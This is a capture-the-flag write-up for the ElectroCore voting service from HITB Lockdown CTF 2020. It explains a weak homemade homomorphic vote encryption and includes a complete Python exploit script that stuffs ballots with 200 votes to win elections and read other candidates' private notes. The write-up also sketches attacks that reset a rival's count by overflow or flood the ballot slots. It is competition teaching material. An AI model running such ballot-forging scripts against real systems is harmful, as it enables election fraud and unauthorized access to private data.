Saarsec

saarsec

Schwenk and pwn

HITB Lockdown CTF 2020 - ElectroCore

ElectroCore is an online voting platform that allows users to create elections, nominate themselves for elections, or vote for nominated candidates in open elections. Winning an election grants you access to all nominees’ private notes (which contained flags). The goal was therefore simple: Win all elections. Or at last sufficiently many.

To this goal, registering a new candidate and making them a nominee of an election is simple enough with a call to /register and /nominate. The tricky part was the vote itself, as our user may only cast a single vote.

Voting used a custom homomorphic encryption system (defined in HomoKeyPair.cs and HomoCrypto.cs) that allowed users to send their ballot as an encrypted vector with one entry per candidate. As the encryption allowed ciphertexts to be added, the server could then simply add the newly cast vote-vector to the votes tallied so far.

The private key is a just large random integer, and the public key is derived as follows:

public static PublicKey GenPublicKey(PrivateKey privateKey, int bitsCount = DefaultBitsCount)
{
    var buff = new BigInteger[DefaultSetSize];

    byte[] rand = new byte[bitsCount / 8];
    for(int i = 0; i < buff.Length; i++)
    {
        Singleton.Random.NextBytes(rand);
        buff[i] = (BigInteger.Abs(new BigInteger(rand)) * privateKey.Key) + (privateKey.MaxNum * Singleton.Random.Next(10, 100));
    }

    return new PublicKey { KeyParts = buff, MaxNum = privateKey.MaxNum};
}

In essence, the public key is an array of 16 elements of the form , where is a large random number, a small random value between 10 and 100, and corresponds to privateKey.MaxNum, which was hardcoded to 243.

The encryption then simply sums a random subset of these public-key elements (the first element is always taken), adds another random multiple of privateKey.MaxNum to it, and then adds the actual plaintext value val. The resulting ciphertext is thus the sum of a random multiple of the private-key, a random multiple of MaxNum, and the actual plaintext-value.

The decryption then simply works by taking the modulo to the private key and then again taking the module of the result to MaxNum. As the private-key is orders of magnitude larger than MaxNum (a 128-bit BigInteger vs the 8-bit value 243) this works as long as the plaintext value is less than 243.

public static BigInteger Encrypt(int val, PublicKey publicKey)
{
    BigInteger core = 0;
    var r = RandomNumberGenerator.Create();
    byte[] randomBuff = new byte[1];
    for(int i = 0; i < publicKey.KeyParts.Length; i++)
    {
        r.GetBytes(randomBuff);
        if(i == 0 || randomBuff[0] % 2 == 1)
            core = core + publicKey.KeyParts[i];
    }
    r.GetNonZeroBytes(randomBuff);
    return core + (publicKey.MaxNum * randomBuff[0]) + val;
}

public static int Decrypt(BigInteger val, PrivateKey privateKey)
{
    var m = val % privateKey.Key;
    return (int) (m % privateKey.MaxNum);
}

A regular ballot consisted of a vector of zeros, with a one set at the position of the desired candidate. For our exploit we simply cast a ballot that gave our desired candidate 200 additional votes.

Once this vote was counted we then simply waited until the election was over, logged in as the candidate, and read all the juicy private notes of the other nominees, which gave us some flags.

We used redis to keep track of our nominees credentials and whether we had already registered or voted for an election.

#!/usr/bin/python
import json
import random
import string
import sys
from datetime import datetime

import redis
import requests

redishost = '127.0.0.1'


def redisget(key):
    rconn = redis.Redis(host=redishost)
    try:
        return json.loads(rconn.get(key))
    except:
        return None


def redisset(key, value):
    rconn = redis.Redis(host=redishost)
    rconn.set(key, json.dumps(value))


def randomstring(length=30):
    return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(length))


def enc(x, public_key):
    s = int(public_key['keyParts'][0])
    for kp in public_key['keyParts'][1:]:
        if random.randint(0, 1) == 0:
            s += int(kp)
    s += random.randint(10, 100) * public_key['MaxNum']
    s += x
    return s


def gen_vote(candidate_id, n_votes, n_candidates, public_key):
    vote_vec = []
    for i in range(n_candidates):
        if i == candidate_id:
            vote_vec.append(enc(n_votes, public_key))
        else:
            vote_vec.append(enc(0, public_key))
    return vote_vec


class API:
    def __init__(self, host):
        self.host = 'http://' + host + ':3130'
        self.sess = requests.Session()

    def register(self, login, password):
        self.username = login
        self.sess.post(self.host + '/register',
                       data={'login': login, 'pass': password, 'publicMessage': '', 'privateNotes': ''}, timeout=5)

    def login(self, login, password):
        self.username = login
        self.sess.post(self.host + '/login',
                       data={'login': login, 'pass': password, 'publicMessage': '', 'privateNotes': ''}, timeout=5)

    def logout(self):
        self.username = None
        self.sess.post(self.host + '/logout', timeout=5)

    def get_running_elections(self):
        return self.sess.get(self.host + '/listElections', params={'finished': False}, timeout=5).json()

    def get_finished_elections(self):
        return self.sess.get(self.host + '/listElections', params={'finished': True}, timeout=5).json()

    def get_election_info(self, election_id):
        return self.sess.get(self.host + '/findElection', params={'id': election_id}, timeout=5).json()

    def nominate(self, election_id):
        self.sess.post(self.host + '/nominate', data={'electionId': election_id}, timeout=5)

    def vote(self, election_id, n_votes=1, candidate=None):
        candidate = candidate or self.username
        election_info = self.get_election_info(election_id)
        candidate_id = None
        for i, c in enumerate(election_info['candidates']):
            if c['Name'] == candidate:
                candidate_id = i
        vote = gen_vote(candidate_id, n_votes, len(election_info['candidates']), election_info['PublicKey'])
        self.sess.post(self.host + '/vote', data={'electionId': election_id, 'vote': json.dumps(vote)}, timeout=5)


def fromisoformat(datestr):
    return datetime.strptime(datestr, '%Y-%m-%dT%H:%M:%S')


def exploit(target):
    api = API(target)

    username = randomstring(32)
    password = randomstring(32)

    api.register(username, password)

    now = datetime.utcnow()
    print('Running elections:')
    for election in api.get_running_elections():
        try:
            print(election)
            election_id = election['Id']
            nom_timeout = fromisoformat(election['nominateTill'])
            vote_timeout = fromisoformat(election['voteTill'])

            old_acc = redisget('core_acc_' + election_id)
            if old_acc == None:
                redisset('core_acc_' + election_id, (username, password))
                election_api = api
            else:
                old_username, old_password = old_acc
                election_api = API(target)
                election_api.login(old_username, old_password)

            if now < nom_timeout:
                if not redisget('nominated_' + election_id):
                    election_api.nominate(election['Id'])
                    redisset('nominated_' + election_id, True)
            elif now < vote_timeout:
                if not redisget('voted_' + election_id):
                    election_api.vote(election['Id'], n_votes=200)
                    redisset('voted_' + election_id, True)

            print(api.get_election_info(election['Id']))
        except Exception as e:
            print(e, file=sys.stderr)

    print('Finished elections:')
    for election in api.get_finished_elections():
        try:
            print(election)
            election_id = election['Id']
            old_acc = redisget('core_acc_' + election_id)
            if old_acc == None:
                continue
            else:
                old_username, old_password = old_acc
                election_api = API(target)
                election_api.login(old_username, old_password)
                if election['Winner']['Name'] != old_username:
                    continue
            retrieve_count = redisget('core_res_' + election_id)
            if not retrieve_count or retrieve_count < 2:
                print(str(election_api.get_election_info(election['Id'])))
                redisset('core_res_' + election_id, 1 if not retrieve_count else retrieve_count + 1)
        except Exception as e:
            print(e, file=sys.stderr, )


if __name__ == '__main__':
    if len(sys.argv) < 2:
        exploit("127.0.0.1")
    else:
        exploit(sys.argv[1])

We believe it might also be possible to “reset” another candidates votes, by letting their vote count overflow to 0 modulo 243. This should be possible, as nominees are sent the election’s private key, and all votes cast so far can be obtained publicly. However, for this to be effective, the exploit would need to be scheduled to run just before the voting-phase ends, which might lead to heavy network load if multiple teams were to go that route.

In a similar vein, elections allowed a maximum of 243 ballots to be sent in total. One could thus try to register sufficiently many users and send ballots from each of them. However, again this leads to some sort a race-condition between teams where every team tries to get in the most votes before all 243 slots are taken, which would lead to heavy traffic.

Overall, a nice service that was relatively simple to exploit and thankfully did not cause a network-meltdown.